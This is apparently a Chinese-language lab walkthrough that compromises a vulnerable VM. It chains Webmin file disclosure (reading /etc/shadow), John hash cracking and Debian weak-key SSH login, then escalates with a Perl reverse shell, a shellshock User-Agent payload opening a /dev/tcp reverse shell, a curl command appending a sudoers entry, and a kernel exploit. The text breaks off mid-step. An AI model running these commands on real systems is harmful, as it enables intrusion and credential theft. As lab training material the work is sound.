信息收集
nmap -sT --min-rate 10000 192.168.182.0/24
nmap -sT --min-rate 10000 -p- 192.168.182.129
nmap -sT -sC -sV -O -p22,80,139,445,10000 192.168.182.129
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-05 20:03 CST
Nmap scan report for 192.168.182.129 (192.168.182.129)
Host is up (0.00048s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.6p1 Debian 5build1 (protocol 2.0)
| ssh-hostkey:
| 1024 e4:46:40:bf:e6:29:ac:c6:00:e2:b2:a3:e1:50:90:3c (DSA)
|_ 2048 10:cc:35:45:8e:f2:7a:a1:cc:db:a0:e8:bf:c7:73:3d (RSA)
80/tcp open http Apache httpd 2.2.4 ((Ubuntu) PHP/5.2.3-1ubuntu6)
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.2.4 (Ubuntu) PHP/5.2.3-1ubuntu6
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: MSHOME)
445/tcp open Samba smbd 3.0.26a (workgroup: MSHOME)
10000/tcp open http MiniServ 0.01 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
MAC Address: 00:0C:29:5E:18:C9 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6.22
OS details: Linux 2.6.22 (embedded, ARM), Linux 2.6.22 - 2.6.23
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_nbstat: NetBIOS name: UBUNTUVM, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb-os-discovery:
| OS: Unix (Samba 3.0.26a)
| Computer name: ubuntuvm
| NetBIOS computer name:
| Domain name: nsdlab
| FQDN: ubuntuvm.NSDLAB
|_ System time: 2023-11-04T10:27:14-05:00
|_smb2-time: Protocol negotiation failed (SMB2)
|_clock-skew: mean: -18h06m21s, deviation: 3h32m07s, median: -20h36m21s
漏洞脚本探测
nmap -sT --script=vuln -p22,80,139,445,10000 192.168.182.129
Host is up (0.00048s latency).
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-trace: TRACE is enabled
| http-slowloris-check:
| VULNERABLE:
| Slowloris DOS attack
| State: LIKELY VULNERABLE
| IDs: CVE:CVE-2007-6750
| Slowloris tries to keep many connections to the target web server open and hold
| them open as long as possible. It accomplishes this by opening connections to
| the target web server and sending a partial request. By doing so, it starves
| the http server's resources causing Denial Of Service.
|
| Disclosure date: 2009-09-17
| References:
|_ http://ha.ckers.org/slowloris/
| http-enum:
| /icons/: Potentially interesting directory w/ listing on 'apache/2.2.4 (ubuntu) php/5.2.3-1ubuntu6'
| /index/: Potentially interesting folder
|_ /php/: Potentially interesting directory w/ listing on 'apache/2.2.4 (ubuntu) php/5.2.3-1ubuntu6'
139/tcp open netbios-ssn
445/tcp open microsoft-ds
10000/tcp open snet-sensor-mgmt
| http-vuln-cve2006-3392:
| VULNERABLE:
| Webmin File Disclosure
| State: VULNERABLE (Exploitable)
| IDs: CVE:CVE-2006-3392
| Webmin before 1.290 and Usermin before 1.220 calls the simplify_path function before decoding HTML.
| This allows arbitrary files to be read, without requiring authentication, using "..%01" sequences
| to bypass the removal of "../" directory traversal sequences.
|
| Disclosure date: 2006-06-29
| References:
| http://www.rapid7.com/db/modules/auxiliary/admin/webmin/file_disclosure
| Webmin < 1.290 / Usermin < 1.220 - Arbitrary File Disclosure - Multiple remote Exploit
MAC Address: 00:0C:29:5E:18:C9 (VMware)
Host script results:
|_smb-vuln-ms10-054: false
|_smb-vuln-regsvc-dos: ERROR: Script execution failed (use -d to debug)
|_smb-vuln-ms10-061: false
经过上面初步的漏洞探测,发现80端口泄露时间?给出了一个cve编号,同时10000端口上同样也是爆出来了文件泄露的漏洞!(webmin 文件泄露!)
渗透测试-1
80
首次访问界面:
"这是一个帮助页面,如果你想要帮助,那么就点击下面的next按钮!"
"这是一个官方的帮助页面,如果你太傻了,输入你的信息得到一些小的提示"
此时页面上的url出现了变化,看到这种变化,两个方法,首先就是看看是否存在sql注入;其次就是判断是否存在任意文件读取漏洞!
测试SQL注入
没有sql注入漏洞~
测试任意文件读取漏洞
好像也没有文件读取!但是在上一个页面上发现了任意文件读取的漏洞:
尝试读取/etc/shadow文件:
没有权限读取~
最终在80端口上,成功读取到了/etc/passwd文件,发现里面存在四个用户:
vmware
obama
osama
yomama
如果有密码的话,就可以尝试ssh登陆了。但是没权限了读不到这个文件
10000
10000端口上部署了webmin,在前面的信息收集过程中,发现webmin 可能存在文件泄露!
利用searchsploit搜索webmin的漏洞:
searchsploit webmin
确实搜索到了,存在文件泄露的脚本,随便利用一个即可,虽然存在两个脚本,只是利用的语言不同而已!
将利用的脚本下载下来:
searchsploit webmin -m 2017.pl
查看脚本的利用
perl 2017.pl 192.168.182.129 10000 /etc/passwd 0
尝试读取/etc/shadow文件!
perl 2017.pl 192.168.182.129 10000 /etc/shadow 0
成功读取到了文件的内容,能读到这个内容说明当前的权限是非常大的!尝试将下面的四个用户的hash存储下来进行破解!
john hash --wordlist=/usr/share/wordlist/rockyou.txt
同样在线md5解密也能得到结果!
拿到了账号和密码,可以尝试进行ssh登陆了!
渗透测试-2
还有一种拿到初始权限的方法!
前面我们知道了webmin存在任意文件读取的漏洞,那么我们可以读取很多的敏感文件,具体读什么文件呢?这里参考:GitHub - carlospolop/Auto_Wordlists
这个是大牛整理出来的很多字典,比如说Linux文件包含经常读取的文件:
看了红队笔记的视频,学到了很多又,之后需要培养ssh相关漏洞的理念,既然现在存在文件读取的漏洞,那么一旦上面的用户设置了免密登录,那么我们就可以使用私钥来登录ssh!(这里刚好存在的漏洞覆盖openssl的版本,有的时候不一定是成功的!)
尝试读取每个用户下面的公钥!(一般公钥的文件位于:/home/username/.ssh/authorized_keys)
现在尝试利用webmin的任意文件读取的漏洞来读取用户下面的公钥文件(当然这个文件不一定是存在的,因为他们不一定设置了免密登录,只能去试一下,读到了那就可以进一步去利用!)
perl 2017.pl 192.168.182.129 10000 /home/vmware/.ssh/authorized_keys 0
成功拿到了公钥!现在进行下一步,就是找到他的私钥,公钥是在服务器上的,而私钥才是用来连接到服务器的!这里涉及到prng(pseudo random number generate)伪随机数生成器!
说白了就是利用公钥来找到他的私钥:
searchsploit prng
下载5622.txt文件,查看一下帮助:
首先便是下载"字典"(里面就是存在大量的公钥和私钥的文件对,然后思路就是根据公钥找到对应的私钥):
解压之后得到:rsa文件夹
grep -lr 'AAAAB3NzaC1yc2EAAAABIwAAAQEAzASM/LKs+FLB7zfm' #从公钥里面截取一部分进行搜索即可!
这里就找到了公钥文件,那么对应的前面的名字其实就是私钥文件了!复制出来:
cp d8629ce6dc8f2492e1454c13f46adb26-4566 ../../
然后尝试ssh进行登录:
ssh vmware@192.168.182.129 -i d8629ce6dc8f2492e1454c13f46adb26-4566
依然还是找我们要密码,开启debug模式:后面加上参数-vv即可:
指定参数:
ssh vmware@192.168.182.129 -i d8629ce6dc8f2492e1454c13f46adb26-4566 -oHostKeyAlgorithms=ssh-rsa,ssh-dss -oPubkeyAcceptedKeyTypes=ssh-rsa,ssh-dss
直接拿到初始的bash shell!
SSH登录拿初始bash shell
ssh vmware@192.168.182.129
指定host key type!
ssh -oHostKeyAlgorithms=ssh-rsa,ssh-dss vmware@192.168.182.129
之后便来到了提权的阶段!
提权 1
查看内核版本信息:
uname -a
这个版本是可能存在内核漏洞的!
sudo -l ##查看当前用户的权限
当前用户vmware无法执行sudo!
查看是否存在定时任务
cat /etc/crontab
也没有可以利用的定时任务!
看到这里,其实应该能想到的,之前我们利用webmin任意文件读取的时候,读到了/etc/shadow文件,这个文件能读取到的话,证明我们的权限是比较大的!那么我们能不能起一个反弹shell的命令。通过2017这个利用脚本来触发?
kali中自带了很多的反弹shell的脚本!
cp /usr/share/webshells/perl/perl-reverse-shell.pl shell.cgi
修改反弹shell的地址和端口号:
开启php服务:供靶机下载下来
wget http://192.168.182.130:8080/shell.cgi
之后我们尝试利用之前的webmin漏洞脚本进行触发,本地监听1234端口!
nc -lvvnp 1234
perl 2017.pl 192.168.182.129 10000 /home/vmware/shell.cgi 0
(为什么要改成后缀为cgi?Perl CGI编程是一种在web服务器上运行的脚本编程技术,他于虚web服务器执行perl脚本,动态生成HTML页面和web应用程序!)我们是利用perl 执行脚本2017.pl然后触发服务器上的cgi文件!
最终成功的拿到了root权限!
提权 2
利用shellshock漏洞进行提权,shellshock漏洞是一个影响Bash解释器的漏洞,可以通过恶意构造的环境变量来执行任意代码。Bash解释器在解释环境变量的时候,不仅仅简单的替换变量的值,他还会对变量的内容进行解释。包括其中可能存在的特殊字符和命令。
影响范围:bash 1.14 - 4.3
() { :; }; #表示空函数
判断是否存在shellshock漏洞:
bash -version #首先查看bash的版本信息 是否在shellshock的漏洞影响范围之内
env='(){ :; }; echo ;' echo 'shellshock exist!'
存在shellshock漏洞!
我们接下来的思路是写一个cgi文件,通过perl进行触发,而文件中的内容就是开启一个bash!
#!/bin/bash
之后通过perl去触发他,通过-A 参数 指定User-agent(执行CGI时会调用Bash将Referer、UserAgent、header、host等作为环境变量进行处理。)
-A后面接上 反弹shell的命令,-A '(){ :; }; ehco ' /bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.182.130/8888 0>&1'
由于我们想要执行我们的参数(加上请求头),所以2017.pl脚本不合适我们来执行(如果单纯为了触发代码执行,可以通过2017来执行),可以看一下漏洞脚本的原理:
虽然不懂perl语言,但是大体上的代码能看懂:其实就是执行了:
尝试利用这个payload来读取一下看看:
那么我们最终想要执行的就是:
curl 'http://192.168.182.129:10000/unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/home/vmware/shel1.cgi' -A '() { :; }; /bin/echo "vmware ALL=(ALL)NOPASSWD:ALL" >> /etc/sudoers'
给shel1.cgi执行权限!
报错了,但是不影响,这里我们接下来回到我们拿下的vmware的shell中!利用sudo -l查看当前用户的权限,是否被修改了!
既然现在都是两个ALL了,那么我们直接sudo再起一个bash即可!
sudo /bin/bash
提权 3
因为最前面提到了内核的版本!比较老:
内核版本是2.6.22 后面的14-sever是分发包的版本。
因此我们可以看一下是否存在这个版本的提权漏洞:
searchsploit 2.6.2 #这里是不建议写的太详细 也不建议写的太宽松的
先试试第二个把: 下载下来之后,起php服务:
searchsploit -m 5092.c
php -S 0:80
执行